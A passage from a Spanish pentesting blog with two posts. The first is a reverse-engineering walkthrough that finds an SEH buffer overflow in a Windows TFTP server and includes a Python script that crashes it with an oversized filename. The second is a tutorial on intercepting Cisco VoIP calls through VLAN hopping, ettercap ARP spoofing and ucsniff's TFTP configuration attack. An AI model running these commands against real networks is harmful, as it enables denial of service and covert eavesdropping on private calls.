<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-1Bt-2es5QuU/UUZHf5N01OI/AAAAAAAAAa0/m0CAF7RiLNM/s1600/reversing1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="226" src="http://4.bp.blogspot.com/-1Bt-2es5QuU/UUZHf5N01OI/AAAAAAAAAa0/m0CAF7RiLNM/s640/reversing1.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Aceptamos todo por defecto y guardamos el fichero resultante como TFTPServerSP.exe.pida</div>
<div>
<br /></div>
<div>
A continuación abrimos la consola de paimei -> python PAIMEIconsole.pyw </div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-_lIN0sJo640/UUZH05V9UMI/AAAAAAAAAa8/IbuFwaH75r4/s1600/reversing2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="http://3.bp.blogspot.com/-_lIN0sJo640/UUZH05V9UMI/AAAAAAAAAa8/IbuFwaH75r4/s640/reversing2.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Conectamos con nuestra base de datos (en este caso mysql) y nos vamos al Process Stalker de PAIMEI. Nos vamos a Available targets -> boton secundario -> Add target y lo llamamos TFTP.Ahora sobre nuestro target -> boton secundario -> Add Tag , y lo llamamos File Writing, ya que lo que vamos a probar a enviar el comando TFTP de escribir un fichero nuevo.</div>
<div>
<br /></div>
<div>
Ahora sobre nuestro Tag -> boton secundario -> Use for Stalking</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-O7QLuUyuCT0/UUZIUe8JsNI/AAAAAAAAAbE/RUUt4M3wonA/s1600/reversing3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="http://1.bp.blogspot.com/-O7QLuUyuCT0/UUZIUe8JsNI/AAAAAAAAAbE/RUUt4M3wonA/s640/reversing3.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Ahora hacemos click en "Add modules" y añadimos nuestro fichero TFTPServerSP.exe.pida generado con IDA anteriormente.Aquí ya podemos ver como nos informa de que hay 476 funciones y unos 2343 bloques.</div>
<div>
<br /></div>
<div>
A continuación vamos a "Refresh Process list" y elegimos nuestro tftpserver que está arrancado (TFTPServerSP.exe). En Coverage blocks seleccionamos "Basic Blocks" y hacemos click en "Star stalking"</div>
<div>
<br /></div>
<div>
Veremos como el debugger arrancará y ya hará hit en algunos bloques, en este caso se queda parado despues de hacer hit en 22 bloques:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-WgsaPRX8PfQ/UUZIkAdMCGI/AAAAAAAAAbM/TyZGNujIJLg/s1600/reversing4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="http://1.bp.blogspot.com/-WgsaPRX8PfQ/UUZIkAdMCGI/AAAAAAAAAbM/TyZGNujIJLg/s640/reversing4.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Ahora con el siguiente script en python podemos enviar paquetes para escribir un fichero, concretamente intentamos escribir un fichero con el nombre "AA"</div>
<div>
<br /></div>
<div>
<div>
import socket</div>
<div>
import sys</div>
<div>
</div>
<div>
host = '127.0.0.1'</div>
<div>
port = 69</div>
<div>
</div>
<div>
try:</div>
<div>
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</div>
<div>
</div>
<div>
except:</div>
<div>
print "socket() failed"</div>
<div>
sys.exit(1)</div>
<div>
</div>
<div>
filename = "A"*2</div>
<div>
</div>
<div>
mode = "netascii"</div>
<div>
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"</div>
<div>
s.sendto(packet, (host, port))</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Una vez ejecutamos el script, vemos como hay un total de 297 hits, ademas podemos ver como en el directorio de instalacion del TFTP se ha escrito un fichero AA de tamaño 0.Ahora pinchamos en "Stop Stalking" para que se guarden los datos en la base de datos.</div>
<div>
<br /></div>
<div>
Ahora en nuestro tag "File Writing" -> boton secundario -> Load hits.</div>
<div>
<br /></div>
<div>
Podemos ver el total de funciones y bloques que se han accedido e incluso el estado de los registros del procesador:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Bb4V4JYABnw/UUZJGhSWjjI/AAAAAAAAAbU/D6IEGqK_FlY/s1600/reversing5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="http://3.bp.blogspot.com/-Bb4V4JYABnw/UUZJGhSWjjI/AAAAAAAAAbU/D6IEGqK_FlY/s640/reversing5.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Ahora en el tag "File Writing" -> boton secundario -> export to IDA -> Seleccionamos el color que queremos que nos marque los bloques y le damos a "export IDC" y lo guardamos como TFTP.idc</div>
<div>
<br /></div>
<div>
Ahora volvemos a cargar el binario en IDA PRO y una vez termine el analisis vamos a File-> script file -> y ejecutamos el TFTP.idc que hemos generado con Paimei</div>
<div>
<br /></div>
<div>
Podremos ver en el IDA los bloques que se han accedido, en este caso estarán marcados en rojo.</div>
<div>
<br /></div>
<div>
Ahora vamos a intentar buscar alguna vulnerabilidad.Lo primero que vamos a hacer es ver las funciones que importa el binario, nos podemos dar cuenta rápidamente que está hecho en alguna variante de C ya que podemos ver imports a la dll msvcrt , tales como strcpy,memcpy,strcmp , etc.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-gRB9l_X_XBI/UUZJaaF940I/AAAAAAAAAbc/YSznBGtYPrQ/s1600/reversing6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="274" src="http://2.bp.blogspot.com/-gRB9l_X_XBI/UUZJaaF940I/AAAAAAAAAbc/YSznBGtYPrQ/s640/reversing6.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Si observamos con detalle los imports, podemos observar imports a funciones de ficheros tales como fopen,fwrite,fclose... Tenemos claro que se ha creado un fichero por lo que la función fopen debería haberse utilizado.</div>
<div>
Si hacemos doble click en fopen nos traslada al segmento .idata donde están los imports, ahi volvemos a seleccionar fopen y pulsamos "x" para ver las xrefs, es decir, las zonas del binario donde llama a la función fopen:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-BulxouV07Ns/UUZJwlO9irI/AAAAAAAAAbk/JQ8-lsDQjFk/s1600/reversing7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="http://3.bp.blogspot.com/-BulxouV07Ns/UUZJwlO9irI/AAAAAAAAAbk/JQ8-lsDQjFk/s640/reversing7.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Si accedemos al primer xrefs , vemos que es un bloque que según PAIMEI no hemos accedido, asi que lo descartamos por ahora(No lo descartamos del todo ya que alguna vez nos podemos encontrar con que PAIMEI no muestra bloques que realmente si han sido accedidos, no es 100% preciso y fiable).</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-NBSobTvMzgM/UUZJ7Xt7tVI/AAAAAAAAAbs/C2C188T2Ou8/s1600/reversing8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="http://1.bp.blogspot.com/-NBSobTvMzgM/UUZJ7Xt7tVI/AAAAAAAAAbs/C2C188T2Ou8/s640/reversing8.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
En el segundo xrefs pasa lo mismo, pero en el tercero ya vemos el bloque en rojo, lo que indica que hemos accedido a ese bloque.Podemos partir de ahí.Además podemos ver en el graph overview los bloques que se han accedido, dentro de la función que nos encontramos (sub_404852)</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ioe3ZAzFV0M/UUZKMcHGUSI/AAAAAAAAAb0/SH7oaDlF1YU/s1600/reversing9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="http://1.bp.blogspot.com/-ioe3ZAzFV0M/UUZKMcHGUSI/AAAAAAAAAb0/SH7oaDlF1YU/s640/reversing9.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Según podemos ver en el bloque de arriba, vemos que se va a acceder al fichero en modo "rb" , osea en modo "read" y podemos observar que antes llamar a fopen uno de los parametros es el puntero al nombre fichero, por lo que vemos como en EAX se guarda [ebp+arg0] y luego se le añade 20h , por lo que ahí tenemos el puntero a nuestra ruta, nos lo apuntamos, y ya lo veremos mas adelante con un debugger.</div>
</div>
<div>
<br /></div>
<div>
<div>
.text:00404ED3 mov dword ptr [esp+4], offset aRb ; "rb" accedemos en modo read</div>
<div>
.text:00404EDB mov eax, [ebp+arg_0]</div>
<div>
.text:00404EDE add eax, 20h ; puntero a fichero</div>
<div>
.text:00404EE1 mov [esp], eax ; char *</div>
<div>
.text:00404EE4 call fopen</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Después del fopen, en EAX tenemos el retorno devuelto por fopen, y se hace una comparación para ver si existe el fichero , y se hace un Jump en función de si es 0 o no el retorno de la función.</div>
</div>
<div>
<br /></div>
<div>
<div>
.text:00404EE9 mov [ebx+124h], eax</div>
<div>
<br /></div>
<div>
.text:00404EEF mov eax, [ebp+arg_0]</div>
<div>
.text:00404EF2 cmp dword ptr [eax+124h], 0 -> comparamos el retorno de fopen con 0</div>
<div>
.text:00404EF9 jz loc_404FE8</div>
</div>
<div>
<br /></div>
<div>
<div>
Tal y como podemos ver, tenemos en rojo el bloque en el que se ha comprobado que el fichero no existe y en este bloque se comprueba el modo de acceso, en este caso se comprueba si es netascii.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5dJNuMgR82g/UUZLCkpKL7I/AAAAAAAAAb8/Oyjz13-YqZ8/s1600/reversing10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="http://1.bp.blogspot.com/-5dJNuMgR82g/UUZLCkpKL7I/AAAAAAAAAb8/Oyjz13-YqZ8/s640/reversing10.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Si es netascii (ese es nuestro caso) se va al siguiente bloque:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-cTkNTFNWbK8/UUZLMRIOVmI/AAAAAAAAAcE/Y13jFgAfqJ0/s1600/reversing11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="http://3.bp.blogspot.com/-cTkNTFNWbK8/UUZLMRIOVmI/AAAAAAAAAcE/Y13jFgAfqJ0/s640/reversing11.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
En este bloque vemos que se llama a fopen en modo "wt" en escritura, al no existir el fichero, lo creará, y vemos que el puntero al nombre del fichero esta donde ya sabíamos:</div>
<div>
<br /></div>
<div>
mov eax, [ebp+arg_0]</div>
<div>
add eax, 20h</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Hasta ahora no tenemos nada extraño, se comprueba si el fichero existe y si no existe se procede a crear el fichero.En vez de seguir más adelante, vamos a mirar un poco hacia atrás ya que en algún momento se tiene que comprobar el nombre del fichero que estamos intentando escribir.</div>
<div>
<br /></div>
<div>
Si nos vamos un poco más arriba, nos encontramos este bloque interesante:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-wWqN2GkUHbU/UUZLcClxfqI/AAAAAAAAAcM/P6lfBtqNuuI/s1600/reversing12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://4.bp.blogspot.com/-wWqN2GkUHbU/UUZLcClxfqI/AAAAAAAAAcM/P6lfBtqNuuI/s400/reversing12.jpg" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Donde tenemos un strcpy y un strcat .Podemos comprobar como efectivamente tanto al strcat y al strcpy se les pasa [ebp+arg_0] y luego un add EAX,20h por lo que es el mismo parámetro que se utilizó para el puntero a nombre de fichero del fopen que vimos anteriormente.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
mov eax, [ebp+arg_0]</div>
<div>
add eax, 20h <- EAX = Puntero a nombre del fichero que se utiliza en fopen</div>
<div>
mov [esp], eax ; char *</div>
<div>
call strcpy</div>
<div>
mov eax, [ebp+arg_0]</div>
<div>
mov eax, [eax+12Ch]</div>
<div>
mov [esp+4], eax ; char *</div>
<div>
mov eax, [ebp+arg_0]</div>
<div>
add eax, 20h <- EAX = Puntero a nombre del fichero que se utiliza en fopen</div>
<div>
mov [esp], eax ; char *</div>
<div>
call strcat</div>
<div>
<br /></div>
<div>
Strcat se utiliza para concatenar y sabemos que uno de los argumentos con los que se llama a la función es el puntero al nombre del fichero.Para saber de una forma y rápida que es lo que se está concatenando podemos utilizar el debugger.</div>
<div>
<br /></div>
<div>
Abrimos el binario con immunity debugger y ponemos un breakpoint en la siguiente dirección, que es cuando se están preparando los argumentos para el strcpy (y posteriormente el strcat)</div>
<div>
<br /></div>
<div>
.text:00404A7D mov dword ptr [esp+4], offset byte_41A570 ; char *</div>
<div>
<br /></div>
<div>
Ya al poner el breakpoint podemos ver realmente que es la constante offset byte_41A570 -> "C:\Archivos de programa\TFTPServer"</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-0fWjx55yJro/UUZL4J9GxgI/AAAAAAAAAcU/h4Cyf2CeskA/s1600/reversing13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="http://1.bp.blogspot.com/-0fWjx55yJro/UUZL4J9GxgI/AAAAAAAAAcU/h4Cyf2CeskA/s640/reversing13.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Ejecutamos nuestro python script para enviar la petición al servidor tftp y saltará el breakpoint, si vamos avanzando hasta el call strcpy podemos ver como se envía como origen la ruta "C:\Archivos de programa\TFTPServer" y se copia en un buffer destino, en concreto en 006EFB08</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-kh_-oX8g8_s/UUZMF-ByJgI/AAAAAAAAAcc/DMwHFHArlMI/s1600/reversing14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="68" src="http://2.bp.blogspot.com/-kh_-oX8g8_s/UUZMF-ByJgI/AAAAAAAAAcc/DMwHFHArlMI/s640/reversing14.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
A continuación si continuamos con el strcat vemos como origen coge el nombre del fichero que le hemos pasado y como destino el buffer que contiene el "C:\Archivos de programa\TFTPServer" que se copió anteriormente con el strcpy.Es decir, el nombre del fichero que podemos manipularlo se puede copiar en un buffer que está en la pila y parece que no hay comprobación del tamaño, huele a overflow...</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-hwJW1rA0GY0/UUZMQugRplI/AAAAAAAAAck/DpCBnxDkIC0/s1600/reversing15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="119" src="http://1.bp.blogspot.com/-hwJW1rA0GY0/UUZMQugRplI/AAAAAAAAAck/DpCBnxDkIC0/s640/reversing15.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
Pero vamos a comprobar si más atrás tenemos alguna comprobación del tamaño del nombre del fichero que le pasamos:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-3ZiTHk7txGU/UUZMigUdElI/AAAAAAAAAcs/u7uyXPyow7I/s1600/reversing16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="218" src="http://2.bp.blogspot.com/-3ZiTHk7txGU/UUZMigUdElI/AAAAAAAAAcs/u7uyXPyow7I/s400/reversing16.jpg" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Efectivamente parece que hay alguna comprobación se ve como se comprueba el tamaño de alguna cadena con strlen, y esa cadena tiene pinta de ser el nombre del fichero, en este caso es:</div>
<div>
<br /></div>
<div>
.text:00404934 mov eax, [ebp+arg_0]</div>
<div>
.text:00404937 mov eax, [eax+12Ch]</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Y luego vemos como se comprueba el tamaño devuelto por strlen con un valor en EAX,veamoslo en el debugger:</div>
<div>
<br /></div>
<div>
call strlen</div>
<div>
cmp [ebp+var_C], eax</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-o5crXkcmFtw/UUZMveAH--I/AAAAAAAAAc0/tzo-wb36g0A/s1600/reversing17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="http://1.bp.blogspot.com/-o5crXkcmFtw/UUZMveAH--I/AAAAAAAAAc0/tzo-wb36g0A/s640/reversing17.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Y como podemos observar, lo que se comprueba es solo si el tamaño del nombre del fichero que le pasamos es 0 , pero no se comprueba si excede de un tamaño, por lo que.. FAIL !</div>
<div>
<br /></div>
<div>
Vamos a ver que pasa si le pasamos un nombre de fichero con un tamaño muy grande:</div>
</div>
<div>
<br /></div>
<div>
<div>
import socket</div>
<div>
import sys</div>
<div>
</div>
<div>
host = '127.0.0.1'</div>
<div>
port = 69</div>
<div>
</div>
<div>
try:</div>
<div>
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</div>
<div>
</div>
<div>
except:</div>
<div>
print "socket() failed"</div>
<div>
sys.exit(1)</div>
<div>
</div>
<div>
filename = "A"*20000 # <- Cambiamos el tamaño del nombre del fichero</div>
<div>
</div>
<div>
mode = "netascii"</div>
<div>
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"</div>
<div>
s.sendto(packet, (host, port))</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Y tal y como podemos ver en el debugger, tenemos un crash, aunque no tenemos control sobre EIP, ya que no sobrescribimos la dirección de retorno en la pila, pero sin embargo vemos algo muy interesante, parece que sobrescribimos la estructura de excepciones (SEH) y ademas podemos ver en el buffer que comentamos anteriormente que se encuentra en la pila como tiene la ruta con el nombre de fichero que le hemos pasado.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-xp7twImWd_0/UUZNPzH3G-I/AAAAAAAAAc8/L9tDN65-mOo/s1600/reversing18.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="346" src="http://1.bp.blogspot.com/-xp7twImWd_0/UUZNPzH3G-I/AAAAAAAAAc8/L9tDN65-mOo/s640/reversing18.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Por lo que tenemos un SEH overflow, mas adelante nos escribiremos un exploit para explotar esta vulnerabilidad.</div>
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-68303459971307920532013-02-26T09:35:00.002-08:002013-02-26T09:35:36.677-08:00Hacking VoIP - Interceptando llamadas en entornos CISCO<br />
En este post vamos a hablar de una de las cosas mas interesantes y llamativas de hacking en VoIP, las escuchas o interceptaciones de llamadas.<br />
<br />
En concreto, vamos a centrarnos en entornos Cisco que están bastante extendidos.Esto es, teléfonos VoIP cisco y centralitas Cisco Call manager. Nos vamos a centrar en este entorno ya que por defecto tienen una directiva de seguridad que impide la interceptación de llamadas.<br />
<br />
<br />
Vamos a situarnos.Estamos en una auditoría interna (o externa en la que nos hemos hecho con el control de un equipo de la red interna) y nos encontramos un escenario con una red de voz con terminales Cisco y centralitas Call manager:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ppxB4TIrSsQ/USzZmkdevvI/AAAAAAAAAXs/myQXmMfeRuA/s1600/telefono_cisco.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="http://1.bp.blogspot.com/-ppxB4TIrSsQ/USzZmkdevvI/AAAAAAAAAXs/myQXmMfeRuA/s400/telefono_cisco.jpg" width="400" /></a></div>
<br />
<br />
Lo primero que necesitamos es poder saltar a la VLAN de voz, aquí tenemos 2 opciones en función de como sea el escenario:<br />
<br />
Opcion 1 -> Telefonos y PC's comparten switch (bastante habitual).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-DokRlP5BO-4/USzuhQCk-sI/AAAAAAAAAaY/xZonczqpRHE/s1600/telefono_switch.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="294" src="http://2.bp.blogspot.com/-DokRlP5BO-4/USzuhQCk-sI/AAAAAAAAAaY/xZonczqpRHE/s320/telefono_switch.png" width="320" /></a></div>
<br />
<br />
Esta configuración es muy habitual y se suele implementar por abaratar costes, en este caso, lo barato puede salir caro.Al estar en el mismo switch la red de voz y de datos el saltar a la VLAN de voz es más sencillo.<br />
<br />
Simplemente , tenemos que detectar en los mensajes CDP del switch la VLAN de voz, esto es bastante sencillo, si tenemos conectado el pc al teléfono , con wireshark podemos ver estos mensajes.En la siguiente imagen se muestra un ejemplo de un mensaje CDP en el que se muestra la VLAN nativa y la VLAN de voz, en estos mensajes.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-db5QYEI-fT4/USzbu0EM9WI/AAAAAAAAAYI/jr-_y8Vf-f4/s1600/CDP.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://4.bp.blogspot.com/-db5QYEI-fT4/USzbu0EM9WI/AAAAAAAAAYI/jr-_y8Vf-f4/s400/CDP.jpg" width="391" /></a></div>
<br />
<div>
<br /></div>
<div>
Opcion 2 -> Telefonos y pc's en distintos switches. </div>
<div>
<br /></div>
<div>
<div>
Si tenemos acceso físico, podemos probar a conectar nuestro equipo al cable del teléfono y así estaríamos conectados al switch y en la red de voz.Luego ya tendríamos que ver si tenemos que suplantar la MAC</div>
<div>
o alguna otra cosa.</div>
<div>
<br /></div>
<div>
Si no, podemos hacerlo, nos queda ver si es posible hacer Vlan hopping por DTP y hacernos pasar por un trunk de un switch. Por ejemplo usando Frogger ( http://www.commonexploits.com/?p=444 ), que tira por debajo de Yersinia.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-qI24TFBtr2Y/USzdu-FCo-I/AAAAAAAAAYU/fCXHzA70PNU/s1600/vlan_DTP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="http://2.bp.blogspot.com/-qI24TFBtr2Y/USzdu-FCo-I/AAAAAAAAAYU/fCXHzA70PNU/s400/vlan_DTP.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<div>
Una vez tenemos la VLAN de voz (por ejemplo VLAN 200) , tenemos que configurar el interfaz con la VLAN correspondiente , es recomendable hacerlo desde un Linux nativo, desde máquinas virtuales podemos encontrarnos problemas.</div>
</div>
<div>
<br /></div>
<div>
<pre class="brush: js">modprobe 8021q
vconfig add eth0 200
dhclient eth0.200
</pre>
<div>
<br /></div>
<div>
<div>
Ya estamos en la VLAN de voz, vamos a intentar hacer un arpspoofing entre un teléfono y el gateway.</div>
<div>
<br /></div>
<pre class="brush: js">ettercap -T -M arp:oneway,remote /ip_telefono/ /ip_gateway/
</pre>
<div>
<br /></div>
<div>
Podemos comprobar que una vez hecho el arp spoofing, podemos ver trafico "Skinny" del telefono al descolgar:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_UG3e8NyfO4/USziTh936NI/AAAAAAAAAZI/dw0BWDavpos/s1600/skinny.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="http://4.bp.blogspot.com/-_UG3e8NyfO4/USziTh936NI/AAAAAAAAAZI/dw0BWDavpos/s640/skinny.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /></div>
<div>
<br />
Además, viendo el detalle de este tráfico SKINNY podemos ver información que nos puede valer para más adelante, como el número de extensión, nombre asociado, etc:<br />
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-T2K6yU6anIk/USzh9dS308I/AAAAAAAAAZA/L8P3PgG79S4/s1600/skinny2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="350" src="http://3.bp.blogspot.com/-T2K6yU6anIk/USzh9dS308I/AAAAAAAAAZA/L8P3PgG79S4/s640/skinny2.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
Pero a la hora de realizar una llamada, no observamos ningún tráfico RTP, no parece que podamos interceptar llamadas.Por que ?</div>
<div>
<br /></div>
<div>
<div>
Bien, aquí viene la parte interesante, estos escenarios de teléfonos Cisco con centralitas Callmanager, tienen un mecanismo de seguridad llamado GARP. En los teléfonos vienen una configuración por defecto de GARP-> Disabled . </div>
<div>
<br /></div>
<div>
Con esta configuración no será posible interceptar las llamadas aún haciendo arpspoofing, pero no lo harán imposible, en este caso podemos realizar un ataque para cambiar esa configuración en el teléfono y poder interceptar las llamadas. Ucsniff es la solución.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Ucsniff (http://ucsniff.sourceforge.net/usage.html) tiene una funcionalidad que nos permite realizar un ataque TFTP, que consiste en forzar al teléfono en volver a coger la configuración del servidor TFTP correspondiente, una vez ucsniff detecte que ha pedido la configuración y se le ha devuelto el xml de la configuración , parsea el xml y cambia la directiva GARP al vuelo (Con reiniciar el teléfono volverá la configuración anterior al volver a coger la configuración del servidor TFTP legítimo).<br />
<br />
<br />
Teléfono -> Intenta realizar llamada -> pide configuración por TFTP -> Se intercepta el XML de configuración -> se modifica el valor GARP -> se devuelve al teléfono la configuración modificada.<br />
<div>
<br /></div>
</div>
<div>
<br /></div>
<div>
<div>
Ejemplo de configuración:</div>
<div>
<br /></div>
<div>
<pre class="brush: js"><vendorConfig>
<g722CodecSupport>2</g722CodecSupport>
<disableSpeaker>false</disableSpeaker>
<disableSpeakerAndHeadset>false</disableSpeakerAndHeadset>
<pcPort>0</pcPort>
<settingsAccess>1</settingsAccess>
<garp>0</garp> <---------------
<voiceVlanAccess>0</voiceVlanAccess>
<videoCapability>0</videoCapability>
<autoSelectLineEnable>0</autoSelectLineEnable>
<webAccess>1</webAccess>
<daysDisplayNotActive>1,7</daysDisplayNotActive>
<displayOnTime>08:00</displayOnTime>
<displayOnDuration>10:30</displayOnDuration>
<displayIdleTimeout>01:00</displayIdleTimeout>
<spanToPCPort>1</spanToPCPort>
</vendorConfig>
</pre>
<div>
<br /></div>
<div>
Ahora si que podemos interceptar las llamadas, para ello tenemos que hacer lo siguiente.</div>
<div>
<br /></div>
<div>
<div>
En un fichero targets.txt deberemos poner:</div>
<div>
<br /></div>
<div>
IP del teléfono, extensión,nombre persona de la extensión,protocolo (skinny protocol en nuestro caso -> sccp)</div>
<div>
<br /></div>
<div>
En realidad, el nombre no es necesario por lo que podría quedar:</div>
<div>
<br /></div>
<div>
192.168.1.100,443,,sccp</div>
<div>
<br /></div>
<div>
Recordemos que el número de extensión asociado a un nombre lo podemos conseguir observando el tráfico skinny, para así poder elegir nuestro objetivo, un alto cargo de la empresa por ejemplo :)</div>
<div>
<br /></div>
<div>
Una vez creado el targets.txt lanzamos ucsniff con el ataque TFTP especificando el interfaz virtual de la VLAN de voz:</div>
<div>
<br /></div>
<pre class="brush: js">ucsniff -i eth0.200 --tftpm -T -D</pre>
</div>
</div>
</div>
</div>
</div>
</div>
<br />
<div>
Ucsniff utiliza ettercap por debajo , haciendo un MitM entre el teléfono y el gateway, interceptando todas las llamadas entrantes y salientes del teléfono, ya sean entre extensiones internas o incluso llamadas a números moviles/fijos externos.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-i2_hfRvStdY/USzj_r-p8kI/AAAAAAAAAZQ/mUesC3O7S_o/s1600/RTP_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="352" src="http://1.bp.blogspot.com/-i2_hfRvStdY/USzj_r-p8kI/AAAAAAAAAZQ/mUesC3O7S_o/s640/RTP_1.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Además, ucsniff nos dejará en el directorio ficheros .wav con el audio de cada llamada interceptada.Si por algún casual no nos genera el .wav, podemos capturar el tráfico RTP con wireshark y reproducirlo:</div>
</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
